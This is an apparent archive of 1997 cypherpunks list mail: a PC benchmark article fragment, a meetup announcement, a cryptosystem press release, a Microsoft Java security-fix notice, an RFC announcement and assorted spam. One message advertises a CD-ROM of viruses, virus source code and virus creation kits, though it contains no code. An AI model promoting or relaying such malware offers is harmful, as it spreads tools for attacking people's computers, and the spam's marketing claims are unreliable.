had the chance to run tests on the company's new 300-MHz PowerMate Professional, due to ship in September. Although the configuration we 
tested was preliminary, the machine posted some impressive numbers.

On the ZD High-End Winstone 97 test, the PowerMate earned a score of 
34.8. This test runs a set of applications that heavily exercise the CPU 
and graphics subsystem, but purely CPU-intensive tests were really where
 the machine did well. On our CPUMark32 test, it posted a score of 735; on 
CPUMark 16, the system earned a speedy score of 556.

To put these results in perspective, note that our recent test of the 266-MHz
 Dell Dimension XPS H266, resulted in a CPUMark32 score of 719, as 
opposed to the NEC system's 735, and the Dimension was the fastest by a
 wide margin in a group of systems based on Intel's 266-MHz Pentium II processor. The Dimension did, however, post a slightly higher score on 
High-End Winstone 97 than the PowerMate--36 rather than 34.8-- thanks to
 its advanced graphics subsystem. Most of the other 266-MHz system in 
our roundup posted speed scores well behind the PowerMates.  Again, the configuration is still preliminary.

More Adrenaline This Fall

In the fall, Intel plans to ship its 440LX chip set, which supports Accelerated Graphics Port (AGP) technology and will work with a new dedicated bus for graphics. The speeds posted by 300-MHz machines-- especially on
graphics tasks--are likely to benefit greatly from these technologies, as 
bus bottlenecks currently undermine high-speed processors. Although tests
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the new chip set should provide a healthy shot of adrenaline.

Many customers will want to time their purchases of 300-MHz machines to correspond with the chip set's arrival, but NEC's $4000 PowerMate is likely 
to ship in advance of the chip set. Also note that Intel has been speeding up
price drops on its high-end chips in recent years, and 300-MHz systems
should be substantially cheaper than $4000 by 1998. They promise to be an 
important step for Intel as it faces increased competition in high-end chips
 from AMD and Cyrix.

   
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10





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 22345494@mailexcite.com
Date: Sun, 21 Sep 1997 12:32:38 -0700 (PDT)
To: postmaster222@mailexcite.com
Subject: Over 100 Adult Internet Channels Free!!
Message-ID: <8123123763182736128736.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@ecotone.toad.com>
Date: Wed, 7 May 1997 03:15:58 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: May 10th San Francisco area Cypherpunks Meeting Announcement
Message-ID: <199705071015.DAA00670@ecotone.toad.com>
MIME-Version: 1.0
Content-Type: text/plain



What:	San Francisco Bay Area Cypherpunks Monthly Phyical Meeting

When:	Saturday May 10th, 12 noon

Where:	PGP World Headquarters, San Mateo, California
	Bayview Federal Building, second floor conference room
		2121 S. El Camino Real, San Mateo, California
		South of the intersection of Highway 92 and El Camino Real
		http://www.pgp.com/pgpcorp/contactpgp.cgi#head
		See attached detailed directions below.

Possible
Agenda:	Political situation update for GDR, Brittan, USA, somone?
	Crypto at the 38th IETF Meeting report, Hugh Daniel
	Hidden USSA Citizen Unit ID & Reporting law PASSED US Congress!
	P/MIME & PGP beta testing update, Dave del Torto
	Hot topics of the day, what ever you need to talk about.
	Future Meetings


Dave's Directions to PGP's HQ in San Mateo (fossil fuel version).

.................................. MACRO ...................................

+ From the North Bay:
  - Hwy 101 South (use right lanes after passing SFO)
  - EXIT Fwy 92 West (move to center lane immediately after ramp)...
  or
  - 280 South (take Hwy 92 East toward the Bay)...

+ From the South Bay:
  - 101 North
  - EXIT Fwy 92 West (toward Half Moon Bay)...
  or
  - 280 North
  - EXIT Hwy 92 East (toward the Bay)...

+ From the East Bay:
  - San Mateo Bridge (Hwy 92 West)
  - GO past Hwy 101...

+ From Hale-Bopp:
  - LEFT turn at Beta Pictoris.
  - LOCATE greenish-blue planet third out from star w/9-10 planets in orbit.
     (High radiation readings make it obvious.)
  - PROCEED to Northern hemisphere.
  - FIND the largest body of water.
     (Travel in the direction of the planet's rotation until you reach
      the longest coastline running between the polar ice-caps.)
  - FOLLOW the biggest N-S seismic fault.
  - RIGHT turn at the large reddish suspension bridge.
  - SOUTH along coast to large reservoir at intersection of Hwy 280 and 92.
  - WEST on Hwy 92...

.................................. MICRO ...................................

+ Once you're on Hwy 92 (from either 280 or 101)
  - EXIT at SOUTH El Camino Real
     (From 101 it's about a mile, the 2nd of two El Camino exits)
     (From 280 it's about 7 miles, after you've come down a steep grade,
      levelled out and passed under an overpass)
  - Curve around and down under freeway: you're now travelling south on
    El Camino Real.
  - Get in the LEFT lane *immediately*.
     (Directly in front of you, you can see the Bayview highrise a couple
      of blocks away.)
  - LEFT on 20th.
     (The very first traffic light after exit ramp. Taco Bell on left).
  - RIGHT turn at next stop sign (Palm St.).
  - PROCEED 1.5 blocks.
     (Parking Garage entrance at rear of Bayview building is on your right.)
  - PARK on the 2nd level.

.................................. NANO ...................................

+ Once you've parked your flying saucer in the Garage:
  - STAIRS (or Elevator) to the main level, step out and...
  - WALK WEST across the courtyard to the main (tallest) building.
  - PASS through the doorway in the stand-alone exterior "glass wall"
      and approach the "information" window (also the guard station) on
      the north side of the building.
  - GET the guard's attention (preferably *not* by waving a firearm).
      Use the passwords ("PGP" or "cypherpunks") and you'll be admitted.
      If the guard's on a break, call my cellphone 415.730.3583.
  - ELEVATOR to 2nd Floor.
     (The meeting room is on left side, slightly down the hall)
      PGP's offices are on the 9th Floor (soon the 10th too).

............................................................................

For CalTrain-ers, get off at the San Mateo station near the Bay Meadows
horse racing track and head for the tallest building around with the huge
"Bayview" sign on top.

For the bus, take any line running on El Camino Real to the intersection of
20th in San Mateo and dismount. You're there.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 53807121@earthlink.net
Date: Wed, 21 May 1997 20:54:32 -0700 (PDT)
To: Friend@public.com
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
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</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jack Oswald <joswald@rpkusa.com>
Date: Tue, 20 May 1997 23:39:48 -0700 (PDT)
To: "'maujacca@iprolink.ch>
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions
Message-ID: <01BC6572.43D8F3A0@1Cust125.Max9.San-Francisco2.CA.MS.UU.NET>
MIME-Version: 1.0
Content-Type: text/plain


Also see recent press coverage in Infoworld:

RPK announces deal for fast crypto with Swiss consortium
http://www.infoworld.com/cgi-bin/displayStory.pl?97059.wrpk.htm 

SET 2.0 on the way
http://www.infoworld.com/cgi-bin/displayArchive.pl?/97/16/t04-16.1.htm 

PRESS RELEASE

For Release May 19, 1997

RPK, Inc.: 	Jack Oswald, +1 408.479.7874, joswald@rpkusa.com, http://www.rpk.co.nz 
ADESA, Inc.: 	Maurice Jaccard,+41 22.910.29.14, maujacca@iprolink.ch


Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc. introduce HAWK VLSI cryptography-enhanced processor

San Francisco, CA - RPK, Inc. announced today that a consortium of the Swiss Federal Institute of Technology (EPFL) and ADESA, Inc., a Swiss application specific integrated circuit (ASIC) design firm have chosen the RPK Fast Public Key Cryptosystem to provide strong cryptographic security in a next generation wireless electronic transactions application.  At the same time, EPFL and ADESA unveiled HAWK a new generation cryptography-enhanced microprocessor specifically designed for use in high speed/low power embedded applications.

"The RPK encryption technology won the design review after an extensive evaluation of all existing cryptosystems based on well known and understood cryptographic techniques," said Maurice Jaccard, Managing Director of ADESA, Inc. "With RPK there are no compromises. We get uncompromised security, high speed and low cost of implementation."

"RPK is a strong encryption technology based on well know and trusted cryptographic techniques," said Jack Oswald, President and CEO of RPK Inc. "Having RPK chosen by the Swiss for this breakthrough electronic-commerce application is the strongest endorsement we could possibly achieve for the RPK technology."


Wireless Electronic Transactions Application

The collaboration of RPK, EPFL and ADESA has resulted in a prototype application that promises to become the "wallet of the future".  This new wireless electronic transaction application may take the form of a credit card, a watch or a key chain and will sport features analogous to the leather wallets used today by billions of people worldwide.  Early designs of the system allow the user to withdraw and hold cash in multiple currencies, as well as, purchase and hold vouchers for hotels, planes and car rentals all through the use of wireless communications technology.  Officials in charge of the project envision that such devices could also become a personal key chain for gaining access to motor vehicles, offices and dwellings, in addition to traditional credit card uses.

ADESA concluded that performance of the RPK implementation in the prototype far exceeded existing smart card implementations based on the RSA and other algorithms.  The RPK technology performs the necessary encryption functions in less than 10 milliseconds using an 823-bit key compared to the best performing RSA-based equivalents that require greater than 100 milliseconds to perform the same type of function using a much weaker 512-bit key.  The application is not limited to 823-bit keys.  The design of the system, based on the new HAWK processor is flexible and can accommodate and process various sized keys, smaller or larger than 823 bits based on downloadable parameters.  ADESA officials explained that the simplicity of the RPK algorithm makes it much simpler to implement than the popular RSA approach.  It was RPK's simplicity, offering a much faster and cheaper solution while providing even higher security, that drove the choice over RSA for this application.  


About the RPK Fast Public Key Cryptosystem

RPK is a relatively new public key cryptosystem  that is based on mathematics widely used in cryptography today.  It was designed to be immediately commercially viable without the years of study that a new area of mathematics normally requires, such as the Elliptic Curve Cryptosystem (ECC).  The source of the security for RPK is the same as that of Diffie-Hellman key exchange, a widely used and well studied cryptographic technique. RPK offers real advantages for high speed networking, SmartCard, wireless communication applications as well as high volume software processes such as credit card transactions. 

RPK has at its core an invention called a Mixture Generator.  In the preferred implementation, three fairly long linear feedback shift registers are used.  This state machine has two modes of operation.  One that uses the shift registers for exponentiation and the other as a generator of a random stream of bits used in a combining phase for the actual encryption.  Effectively, RPK allows for the amortization of two "costly" exponentiations over the entire length of a message because the core engine is used to initially establish a secure state of the machine and then switches modes to perform very high speed encryption.  This has been referred to as a paradigm shift where the operation of encryption does not require the costly calculations that an RSA or even an ECC implementation would require for each block of data that is about the size of the key.  This mechanism can also be implemented in silicon quite efficiently such that at high strength it is much cheaper to produce than alternative technologies.  Finally, it is also possible to create a Mixture Generator that is made up of Elliptic Curve groups which would provide a similarly speedy and efficient initialization mode that could still produce high speed encryption as noted above.


About the HAWK VLSI Crypto Processor

The HAWK VLSI cryptography-enhanced processor is the result of more than three years of research and development conducted at the EPFL in Lausanne, Switzerland in the area of high speed compression and encryption.  The HAWK processor will benefit most cryptography implementations but is particularly well suited for use with RPK.

"The HAWK processor is the most innovative approach that we have seen yet for implementing cryptographic processes in silicon," said Bill Raike, Chief Technology Officer for RPK Inc. and inventor of the RPK fast public key cryptosystem.  "HAWK breaks the barrier for high speed, low cost, low power and high strength encryption for embedded systems."



Background

RPK, Inc. is a supplier of next generation fast public key encryption technology.  RPK was invented and originally patented in New Zealand.  The company is therefore unaffected by restrictive U.S. export rules.  RPK has been successfully exported to virtually all countries of the world at high strength.  The company's headquarters are based in San Francisco, California, USA, with an offshore research and development center located outside of Auckland, New Zealand. http://www.rpk.co.nz 

ADESA, Inc. is a leading ASIC design firm based in Geneva, Switzerland with expertise in embedded and cryptographic applications.

EPFL is a leading teaching and research technical institute in Lausanne, Switzerland.  The school is known for its work in advanced processor design.


***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Site Builder Network <sbn@MICROSOFT.COM>
Date: Tue, 20 May 1997 22:18:07 -0700 (PDT)
To: SBNMEM@LISTSERV.MSN.COM
Subject: Microsoft Responds To Java Security Issues By Posting Fix
Message-ID: <300484772A32CF11BEF200805F50855D036CADED@RED-78-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


*** Microsoft (R) Site Builder Network ***

In this issue:

NEWS & ANNOUNCEMENTS

* MICROSOFT RESPONDS TO JAVA SECURITY ISSUES BY POSTING
FIX
* ANNOUNCING NEW SITE BUILDER NETWORK DISCUSSION GROUPS
* SITE BUILDER WORKSHOP ADDS DYNAMIC HTML AREA


MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT

* EDGEWORX OFFER TO SITE BUILDER MEMBERS
* WEBMEN TALKING IS NOW BIWEEKLY
* LIMITED TIME ONLY - AWARD-WINNING JAVA AUTHORING TOOL
* EG SOFTOWARE'S WEBTRENDS WEB SERVER LOG FILE ANALYZER
* HIT LIST PROFESSIONAL 3.0 - TRIAL VERSION


PLEASE NOTE: Email format restrictions may not allow a
URL to fit on one line. Thus, when you click the URL
line in the email message, you may get a browser error
(e.g., non-existent link).   If the URL does not seem to
work, please make certain you select, copy, then paste
the entire link address into your browser's target
address field.  Thank you.


NEWS & ANNOUNCEMENTS
MICROSOFT RESPONDS TO JAVA SECURITY ISSUES BY POSTING FIX
Researchers at the University of Washington recently
notified Microsoft and other vendors of several dozen
anomalies in Java virtual machines that could
potentially result in Java applets causing a system
crash and/or loss of data.  Microsoft today announced
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The researchers with the Kimera Project in the
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Their tests uncovered a variety of Java anomalies,
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and 24 which affect Sun Microsystem's virtual machine.

The anomalies are in the bytecode "verifier", which
enforces the security of the Java sandbox. There have
been no known attacks that exploit these anomalies, but
they could potentially allow a malicious application to
get access outside the sandbox.  More information is
available on the University of Washington's Kimera
Project website at
http://www.washington.edu/newsroom/news/k051997.html.

The updated version of the Microsoft virtual machine is
available to all users of Internet Explorer, Internet
Information Server and Visual J++ from
http://www.microsoft.com/java. All users and developers
are encouraged to download the new version of the
virtual machine.  The updated version will also be
distributed with all future releases of Microsoft
products containing the virtual machine.

ANNOUNCING NEW SITE BUILDER NETWORK DISCUSSION GROUPS
Because the Site Builder's Exchange discussion group
has been so busy lately, we've decided to divide it into
focused discussion groups. The Site Builder Network
Forum offers ongoing discussions on following topics:
Internet Explorer/HTML, Java/Visual J++, Active Server
Pages and Web and Graphic Design. Check out this cool
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It's time to sign up!

SITE BUILDER WORKSHOP ADDS DYNAMIC HTML AREA
Site Builder Workshop has added a whole new section just
for information on Dynamic HTML at
http://www.microsoft.com/workshop/author/dhtml/.  This
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HTML authors--and their Web pages--and makes interactive
components easy to build.  Microsoft's Dynamic HTML
technology gives authors creative control so they can
manipulate any page element and change styles,
positioning, and content at any time -- not only when
the page is loaded.

MEMBERSHIP DOWNLOADS AND NEWS SPOTLIGHT
EDGEWORX OFFER TO SITE BUILDER MEMBERS
Antares is offering all Site Builder members the
opportunity to purchase the EdgeworX Developer Edition
at the exceptional promotional price of $99 (vs. $399
List Price).  This promotional price will be available
on a purchase of EdgeworX Developer Edition made through
May 31, 1997.  This offer is made exclusively to Site
Builder members.

-This special promotional price is available only
through a link on the EdgeworX download area of the Site
Builder Network site.

-Purchasers will be required to provide their SBN
Membership to claim the discount.

-It is not necessary to download evaluation copy of
EdgeworX Developer Edition to take advantage of this
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Take advantage of this special offer and learn why
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web applications using a familiar object-based design
environment." - Tom Button, Director of the developer
tools division at Microsoft.

"EdgeworX from Antares Alliance Makes VB Programmers
into Web Experts." - Michael Goulde, Seybold.

EdgeworX is a VBA and DCOM based object-oriented
development and execution framework for creating dynamic
Web applications.  Based on Microsoft's Visual Basic for
Applications (VBA), EdgeworX provides a comprehensive
library of DCOM-enabled ActiveX objects, which enable
developers to quickly and easily build dynamic,
interactive Web applications. Download your evaluation
copy today.

WEBMEN TALKING IS NOW BIWEEKLY
Our popular Site Builder Network Magazine question-and-
answer column, Web Men Talking, will double in
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________________________________________
To increase or decrease the frequency of e-mail or
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click "Change Your Membership."  You will find check
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in the subject heading and e-mail back to
SBN@microsoft.com.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wraith@ahrens.callnet.com
Date: Wed, 21 May 1997 00:13:46 -0700 (PDT)
Subject: No Subject
Message-ID: <199705210713.DAA29919@ahrens.callnet.com>
MIME-Version: 1.0
Content-Type: text/plain


From: wraith@ahrens.callnet.com
To: cypherpunks@toad.com
Subject: Virus CD-ROM Offer


Hey, I was checking out you web site, and I thought you might be someone
interested to know that the Digital Hackers' Alliance has once again made
its entire virus archive of over 10,000 viruses available to the public. 
We've once again been burning the midnight oil over the CD-R to produce a
limited number of new CD-ROMs. This CD-ROM is not only packed full with
over 20 meg of viruses, but also comes with source code for over 1500 of
the most famous viruses ever! Be one of our first 100 customers and
recieve FREE of charge over 50 virus creation tools, including Virus
Creation Lab (VCL) and PS-MPC! No where else in the world will you find a
more complete collection.  Anyway, if you want to find out more about the
CD-ROM, including an (almost) complete listing of every virus on the CD,
check out the Digital Hackers' Alliance web page at:

http://ahrens.callnet.com/dha/

--
Wraith -=- Digital Hackers' Alliance
http://ahrens.callnet.com/dha/
wraith@ahrens.callnet.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mf@mediafilter.org (MediaFilter)
Date: Wed, 21 May 1997 01:20:15 -0700 (PDT)
To: eon@black.hole
Subject: Disneyfication, Privatization of the Public Domain...	Turn the Planet into a Strip-Mall and Theme Park.....
Message-ID: <1347936075-200645@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


Disneyfication, Privatization of the Public Domain...
Turn the Planet into a Strip-Mall and Theme Park.....

Hear the realaudio netcast of Infinity Factory
Hosted by Richard Metzger of Disinfo.com
talking with Paul Garrin about name.space
and the future of the net.

originally netcast live on May 11, 1997.


(this is a realaudio link, so be prepared...)
http://www.pseudo.com/archives/infinityMay11_1997_0848pm.ram

name.space:
http://name.space.xs2.net

DisInfo:
http://www.disinfo.com










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mf@mediafilter.org (MediaFilter)
Date: Wed, 21 May 1997 04:05:50 -0700 (PDT)
To: eon@black.hole
Subject: Disneyfication, Privatization of the Public Domain...	Turn the Planet into a Strip-Mall and Theme Park.....	Corection!
Message-ID: <1347929820-576932@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain


Sorry if you received this twice!
the link to the realaudio has been corrected!



Disneyfication, Privatization of the Public Domain...
Turn the Planet into a Strip-Mall and Theme Park.....

Hear the realaudio netcast of Infinity Factory
Hosted by Richard Metzger of Disinfo.com
talking with Paul Garrin about name.space
and the future of the net.

originally netcast live on May 11, 1997.


(this is a realaudio link, so be prepared...)
http://www.pseudo.com/netcast/shows/infinity/archives/infinityMay11_1997_084
8pm.ram

name.space:
http://name.space.xs2.net

DisInfo:
http://www.disinfo.com










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WSJ Interactive Edition Editors <update@interactive.wsj.com>
Date: Thu, 22 May 1997 09:34:32 -0700 (PDT)
To: Multiple recipients of list WSJIE-WHATSNEW             <WSJIE-WHATSNEW@LISTSERV.DOWJONES.COM>
Subject: Free Wall Street Journal Interactive Edition on PointCast
Message-ID: <3.0.32.19970522114457.00a32ccc@pop.dowjones.com>
MIME-Version: 1.0
Content-Type: text/plain


In the past, you tried The Wall Street Journal Interactive Edition through
a special offer. We now invite you to get selected content from The
Interactive Journal in a whole new way with PointCast!

With free PointCast Network software and The Wall Street Journal
Interactive Edition channel, you get top business news summaries from
around the globe as well as several feature articles and columns in
Editor's Picks. And PointCast broadcasts it all straight to your computer,
along with personalized world news, stock updates, weather, sports, local
news and much more.

And when you subscribe to the Interactive Journal, you get the full story
behind the summaries and comprehensive global coverage of the day's
business news. For more information on how to subscribe to the Interactive
Journal go to <http://wsj.com>

Get The Wall Street Journal Interactive Edition channel now!   Download the
free PointCast software at <http://wsj.com/offers/pointcast.htm>

Best regards,


Jim White
Marketing Manager
maillist@wsj.dowjones.com




_______________________________________________________________
Check out Small Business Suite, a new Interactive Edition feature
covering issues that matter most to small business owners, entrepreneurs,
and anyone who markets products or services to small businesses.
http://wsj.com/edition/current/summaries/small.htm
________________________________________________________________
This is the New Features Alert e-mail list. If you do not wish to continue to
subscribe to this list, sign on to The Wall Street Journal Interactive
Edition and
go to the following URL: http://wsj.com/user-cgi-bin/userMenu.html to change
your account preferences. Or you can just send email to: stopmkt@lists.wsj.com

Cancelling your subscription to The Wall Street Journal Interactive Edition
will automatically un-subscribe you from any e-mail lists you might be
subscribed to through our service. For further questions, please call our
customer service department at 1-800-369-2834.
__________________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 22 May 1997 11:03:37 -0700 (PDT)
To: coderpunks@toad.com (The Coderpunks list)
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705221736.NAA17266@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams@entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: col1@mary-world.com
Date: Thu, 22 May 1997 13:04:46 -0700 (PDT)
To: col1@mary-world.com
Subject: Finally!
Message-ID: <56748690345col1@mary-world.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Guardian Global Telecommunications <service@guardian-global.net>
Date: Sat, 24 May 1997 20:55:37 -0700 (PDT)
Subject: GUARANTEED! 10.9cpm Long Distance Rates To "All 50 States" - 24 hrs - No Fees...
Message-ID: <199705242040.QAA08305@Q2I>
MIME-Version: 1.0
Content-Type: text/plain



_________________________________________________________________________

Thank you for taking the time to read this money saving announcement.
To be removed from further mailings, press reply and type "remove" in the 
Subject: area.
_________________________________________________________________________

Dear Consumer,

Reduce your cost on your home an/or business operating expenses.

Our Long Distance Rates have real monetary value to you! 
Business, Residential, Domestic and International! With Flat 24 hours 
a day GUARANTEED LOW RATES!  With No Fine Print!!
_________________________________________________________________________

Home:			1+Dialing & Toll-Free - 	10.9 cents per minute 
Business:			1+Dialing & Toll-Free - 	09.9 cents per minute
Home & Bus.:		Calling Card - 		16 cents per minute 

Home & Bus.:	US/Canada International Calling & International Call-Back
_________________________________________________________________________

OUR LONG DISTANCE CALLING PLANS HAVE:

No Fine Print
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No Peak/Off Peak Restrictions
No Local Exchange Carrier(LEC) Fees
_________________________________________________________________________

keeping it simple! 

For the home.. 

10.9  CPM TO ALL 50 STATES! -- FROM ALL 50 STATES!!
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_________________________________________________________________________

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to anywhere in the USA,  Puerto Rico and Virgin Islands.

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FOR EXAMPLE, an 18 second call is billed as an 18 second call; a one minute 
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_________________________________________________________________________

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This International Plan with the 9.9 CPM or 10.9 CPM Interstate package 
is a great combination to maximize your Global Long Distance usage.

France						29 cpm
Australia						28 cpm
Germany						29 cpm	
Russia						67 cpm

Rates available for almost every country..
NO LEC (Local Exchange Carrier), Service or Sur-charge charges. One 
minute minimum, One minute incremental billing. This International plan 
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International Call-Back (For calling from other countries) also available.
_________________________________________________________________________

Do what thousands of others are doing everyday. Switch to a long distance 
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Why pay for bigger when it's not better!

Everyday, commercial and residential users are switching long distance 
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_________________________________________________________________________

If long distance is an important tool in your business or a tool to keep in 
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There are no confusing calling circles, complex rates plans or misleading 
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Domestic and International Long Distance Consultant.

Tel: 		303-779-6646
E-mail: 	Service@guardian-global.net
____________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gina@vol.it
Date: Fri, 23 May 1997 16:59:11 -0700 (PDT)
To: sexyhot1@hotmail.com</A>
Subject: For Adults Only!
Message-ID: <sexyhot1@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


We would like to give you Free Live Sex! See my sexy friends & I -Totally Nude- on your computer screen - 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Service@iBase.net
Date: Fri, 23 May 1997 21:36:59 -0700 (PDT)
To: Service@iBase.net
Subject: BUSINESS CLASSIFIEDS INTERACTIVE(sm)
Message-ID: <19970524011021056.AAB66@[206.244.171.176]>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Staff@ExposeInfidelity.com
Date: Sat, 24 May 1997 13:39:30 -0700 (PDT)
To: requestor@site.com
Subject: "How to E-X-P-0-S-E Infidelity" . . .
Message-ID: <144523806421342786@ExposeInfidelity.com>
MIME-Version: 1.0
Content-Type: text/plain


>From the offices of . . .

Virginia Claims Corporation
Statewide Claims Investigations
Workers' Compensation Specialists
11232 Midlothian Turnpike, Suite 220
Richmond, Va 23235-4714

Dear Friend:

Hi...my name is Britt Phillips. If you suspect infidelity, or know someone
who does . . .please take a couple of minutes to read this.

I am  very excited about the many people from all walks of life who 
have truly benefited from the publications that I have put together.

I have been a fully licensed Private Investigator for almost eleven
years. I currently work within a full caseload. My clients include 
attorney's,insurance companies, physicians as well as those in 
the corporate and private sector. I have very extensive knowledge 
as a direct result of working many different types of cases over 
this period of time. I currently focus my investigative services in 
the areas of insurance fraud and domestic and family issues. 

My background includes an honorable tour in the United States 
Navy as an Operations Specialist in the operational intelligence 
division. In this capacity I held a secret clearance and routinely 
handled very sensitive information vital to national security. In 
addition to these responsibilities I was also a member of an elite 
team who's members gathered intelligence as it relates to other 
countries around the world by photographing weapons and 
electronics systems and by gathering information about them 
useful in strategy. I have served at the Pentagon and have many 
personal memories of service to my country. 

I also have security experience in a major retail company as a 
loss prevention expert. In this capacity I continued my
investigative skills and worked my way up to be placed in charge 
of three locations. It was while in this capacity that I was 
introduced to the investigative field and fell in love with all that it 
has to offer.

I began in the trenches so to speak and worked my way up in a 
major investigative firm. I remained there for 4 years. I was well 
known by the company president as an eager investigator wanting 
to learn every type of case imaginable. I was turned down an offer 
to open a satellite office for this company during its expansion 
phase. I accepted a position with another firm and took over a 
lagging investigative company. I remained there for three years 
and ended my tenure with the title of investigations director!

Some of my past cases include:

Workers' Compensation, Narcotics, Homicide, Missing Persons, 
Adoption Searches, Skip Traces, Domestic & Family Issues,Child 
Custody, Infidelity, Criminal, Civil, Process Service, Witness
Location, Background Checks, Contract Disputes, Asset Checks, 
Theft, Fraud, Personal Injury, Auto Liability, Automobile
Repossession, Hit and Run and many many others.

Our hope is that this has given you a tool from which to measure 
my knowledge and experience. Your comfort level is very 
important to us and it will remain the same way long after you 
purchase publications from our office. We are committed to 
providing YOU with the quality,efficient, honest, reliable service 
that you not only deserve but should demand.

"How to Expose Infidelity" is a publication that I am very
pleased to be a part of. It includes many helpful sections that will 
literally change your life forever. I can say this because most 
people make many mistakes when they are suddenly confronted 
with an infidelity situation. There also is the factor that many don't 
discover the infidelity until after the lawyers have walked away and 
the case is resolved. This can be a major loss to anyone 
especially when children and settlements are concerned. In this 
same light it is very crucial to document infidelity from the earliest 
stages. The early stages when infidelity is first suspected are the 
most crucial to your case. Now you can learn from my many 
years of field experience working these types of cases.

This is a very important time and unfortunately most people allow 
their emotions to rule their intellect and do things that actually 
jeopardize their own case. It's only after these mistakes are 
pointed out that they are aware of them.Yes, that's right you 
guessed it, by then it's way to late! in "How to Expose Infidelity" 
YOU will learn what to do and when to do it. YOU will learn about 
hidden clues that are consistent with those involved in infidelity. 
YOU will learn the all important things to ask your attorney and 
investigator and how to interview each to make sure you are 
getting fair,competent representation. YOU will learn the most 
common mistakes that almost everyone makes and how to avoid 
them! YOU will learn how to channel your emotions and save your 
case instead of unknowingly doing things that compromise you.

But please...don't take my word for it. 

Read for yourself what other current owners have said:

"Your help made the greatest difference in my personal situation. 
I was able to reach a much better settlement and owe many 
thanks to you as well as my attorney. Your information revealed 
facts I previously was not aware of. If your guide had not been 
available, I would have been among the many who make the 
same mistakes on your list! Many thanks for a very helpful tool." 

"I purchased your infidelity guide because I had never gone 
through a divorce. Pride kept me from calling a private 
investigator to discus my situation. After reading your information 
I interviewed two investigator's.The first one was more interested 
in my retainer than my case. I used the techniques learned from 
your guide to quickly dismiss him and retained the second one. 
We won the case!" 

"My attorney commented that often in domestic cases her job 
can be very difficult at times, especially due to the mistakes 
that many clients routinely make. I was so glad that I had read 
your information beforehand.Thank you for being in my corner."

If you or someone you know find themselves in the unfortunate 
situation in which infidelity could very well be a real possibility, 
YOU owe it to yourself to find out the true facts as they are 
happening. As a top private investigator I have helped literally 
hundreds of people restore peace of mind during this trying, 
emotional period in their lives.

"How to E-X-P-O-S-E Infidelity" is an  A-Z guide that walks the 
reader throughout the complete process including:

~ Clues to look for
~ Mistakes that are almost always made by those who 
suspect their spouse of infidelity
~ How to avoid costly common mistakes
~ What to look for when talking to an investigator
~ The interview process and hiring an attorney
~ Complete question and answer session including 
answers to many questions routinely asked over the years.

Take action and restore peace of mind today. You owe it to 
yourself to find out the truth.

The cost of "How to E-X-P-O-S-E Infidelity"  is $19.95. It 
cannot be stressed enough that this price is really insignificant 
when you consider what your losses could be. You have my 
personal guarantee that if you apply what this guide teaches, 
YOU will be very relieved to have had a guide of this nature from 
which to learn from BEFORE, instead of after! 

Please give this some serious thought.

"How to E-X-P-O-S-E Infidelity" comes with my complete, no 
questions asked, money back guarantee. If after receiving this 
publication you aren't 100% completely satisfied, simply return 
it in its original condition. I will gladly refund your original 
purchase price promptly without question.

CUSTOMER SUPPORT
I am always available to answer any questions you may have 
after you get your package. The packages are  very clear and 
easy to follow however if you should have any questions I will be 
here for you. I offer complete customer support and will gladly 
field any questions to help you prosper. After you get your 
package(s), feel free to drop me a line via Email! This is my FREE 
service to you and another way for me to show you that I am 
genuinely sincere in my desire to help you.

And you have my personal...

     xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
     90 DAY  NO QUESTIONS, MONEY BACK GUARANTEE
     xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
I am so confident that after you receive the publication that you 
